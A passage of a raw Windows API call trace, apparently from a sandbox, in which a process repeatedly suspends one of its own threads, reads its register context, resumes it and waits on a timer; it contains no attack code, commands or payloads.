[9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0177.864] ResumeThread (hThread=0x170) returned 0x1 [0177.864] CloseHandle (hObject=0x170) returned 1 [0177.864] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0177.864] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0177.864] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0177.864] SuspendThread (hThread=0x170) returned 0x0 [0177.864] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0177.866] ResumeThread (hThread=0x170) returned 0x1 [0177.866] CloseHandle (hObject=0x170) returned 1 [0177.866] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0177.866] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0177.866] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0177.866] SuspendThread (hThread=0x170) returned 0x0 [0177.866] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0178.029] ResumeThread (hThread=0x170) returned 0x1 [0178.029] CloseHandle (hObject=0x170) returned 1 [0178.029] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0178.029] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0178.029] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0178.029] SuspendThread (hThread=0x170) returned 0x0 [0178.030] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0178.032] ResumeThread (hThread=0x170) returned 0x1 [0178.032] CloseHandle (hObject=0x170) returned 1 [0178.032] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0178.032] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0178.032] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0178.032] SuspendThread (hThread=0x170) returned 0x0 [0178.032] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, 